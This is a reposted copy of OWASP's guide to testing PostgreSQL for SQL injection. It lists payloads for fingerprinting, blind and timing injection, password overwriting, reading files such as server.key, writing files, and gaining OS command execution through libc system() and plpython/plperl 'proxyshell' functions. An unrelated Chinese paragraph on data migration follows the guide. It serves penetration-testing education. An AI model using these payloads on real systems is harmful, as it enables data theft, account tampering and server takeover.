postpresql

https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL

 

OWASP Backend Security Project Testing PostgreSQL

From OWASP

Jump to: navigation, search

Contents

[hide]

Overview

In this section, some SQL Injection techniques for PostgreSQL will be discussed. Keep in mind the following characteristics:

  • PHP Connector allows multiple statements to be executed by using ; as a statement separator
  • SQL Statements can be truncated by appending the comment char: --.
  • LIMIT and OFFSET can be used in a SELECT statement to retrieve a portion of the result set generated by the query

From here after, we assume that http://www.example.com/news.php?id=1 is vulnerable to SQL Injection attacks.

Description

Identifying PostgreSQL

When a SQL Injection has been found, you need to carefully fingerprint the backend database engine. You can determine that the backend database engine is PostgreSQL by using the :: cast operator.

Examples:

 http://www.example.com/store.php?id=1 AND 1::int=1

In addition, the function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--

An example of a banner string that could be returned is:

 PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Blind Injection

For blind SQL injection attacks, you should take into consideration the following built-in functions:

  • String Length
    LENGTH(str)
  • Extract a substring from a given string
    SUBSTR(str,index,offset)
  • String representation with no single quotes
    CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)

Starting at version 8.2, PostgreSQL introduced a built-in function, pg_sleep(n), to make the current session process sleep for n seconds. This function can be leveraged to execute timing attacks (discussed in detail at Blind SQL Injection). In addition, you can easily create a custom pg_sleep(n) in previous versions by using libc:

  • CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

Single Quote unescape

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

  • chr(n): Returns the character whose ASCII value corresponds to the number n
  • ascii(n): Returns the ASCII value which corresponds to the character n

Let's say you want to encode the string 'root':

  select ascii('r')
  114
  select ascii('o')
  111
  select ascii('t')
  116

We can encode 'root' as:

 chr(114)||chr(111)||chr(111)||chr(116)

Example:

  http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

Attack Vectors

Current User

The identity of the current user can be retrieved with the following SQL SELECT statements:

 SELECT user
 SELECT current_user
 SELECT session_user
 SELECT usename FROM pg_user
 SELECT getpgusername()

Examples:

 http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
 http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database

The built-in function current_database() returns the current database name.

Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--

Reading from a file

PostgreSQL provides two ways to access a local file:

  • COPY statement
  • pg_read_file() internal function (starting from PostgreSQL 8.1)

COPY:

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the postgres user.

Example:

 
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--

Data should be retrieved by performing a UNION Query SQL Injection:

  • retrieves the number of rows previously added in file_store with COPY statement
  • retrieves a row at a time with UNION SQL Injection

Example:

/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--

pg_read_file():

This function was introduced in PostgreSQL 8.1 and allows one to read arbitrary files located inside DBMS data directory.

Examples:

  • SELECT pg_read_file('server.key',0,1000);

Writing to a file

By reverting the COPY statement, we can write to the local file system with the postgres user rights

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--

Shell Injection

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, and tcl.

Dynamic Library

Until PostgreSQL 8.1, it was possible to add a custom function linked with libc:

  • CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since system returns an int how we can fetch results from system stdout?

Here's a little trick:

  • create a stdout table
    CREATE TABLE stdout(id serial, system_out text)
  • executing a shell command redirecting its stdout
    SELECT system('uname -a > /tmp/test')
  • use a COPY statements to push output of previous command in stdout table
    COPY stdout(system_out) FROM '/tmp/test'
  • retrieve output from stdout
    SELECT system_out FROM stdout

Example:

 
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--


plpython

PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user can do. It's not installed by default and can be enabled on a given database by CREATELANG

  • Check if PL/Python has been enabled on a database:
    SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
  • If not, try to enable:
    CREATE LANGUAGE plpythonu
  • If either of the above succeeded, create a proxy shell function:
    CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu
  • Have fun with:
    SELECT proxyshell( os command);

Example:

  • Create a proxy shell function:
    /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--
  • Run an OS Command:
    /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--
plperl

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as open. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the postgres user, to avoid the so-called application mask filtering of trusted/untrusted operations.

  • Check if PL/perl-untrusted has been enabled:
    SELECT count(*) FROM pg_language WHERE lanname='plperlu'
  • If not, assuming that sysadm has already installed the plperl package, try :
    CREATE LANGUAGE plperlu
  • If either of the above succeeded, create a proxy shell function:
    CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu
  • Have fun with:
    SELECT proxyshell( os command);

Example:

  • Create a proxy shell function:
    /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;
  • Run an OS Command:
    /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

References

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
PostgreSQL 数据迁移可以通过多种方式进行,具体取决于数据量大小、数据结构和目标数据库等因素。以下是几种常见的 PostgreSQL 数据迁移方式: 1. 使用 pg_dump 和 pg_restore 工具进行数据迁移 这是最常见的 PostgreSQL 数据迁移方式。使用 pg_dump 工具可以将源数据库中的所有数据和表结构导出为一个 SQL 文件,然后将 SQL 文件导入到目标数据库中。pg_dump 和 pg_restore 工具都是 PostgreSQL 自带的工具,可以在终端中使用。 2. 使用 ETL 工具进行数据迁移 ETL(Extract Transform Load)工具可以将数据从一个数据库提取出来,并将其转换为目标数据库格式,最后将其加载到目标数据库中。ETL 工具可以自动化数据迁移过程,而且可以处理大量数据。 3. 使用数据复制进行数据迁移 PostgreSQL 支持数据复制功能,可以将一个 PostgreSQL 数据库的数据和表结构复制到另一个 PostgreSQL 数据库中。数据复制可以在实时或延迟的情况下进行,具体取决于您的需求。 4. 使用云平台进行数据迁移 如果您的 PostgreSQL 数据库位于云上,您可以使用云平台提供的数据迁移服务。例如,AWS 数据迁移服务可以帮助您将数据从一个 PostgreSQL 数据库迁移到另一个 PostgreSQL 数据库或 AWS 的其他数据库服务中。其他云平台也提供类似的数据迁移服务。 总之,PostgreSQL 数据迁移可以通过多种方式进行,具体取决于您的需求和情况。无论您选择哪种方式,都需要仔细考虑数据迁移过程中可能遇到的问题,并制定相应的应对措施。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值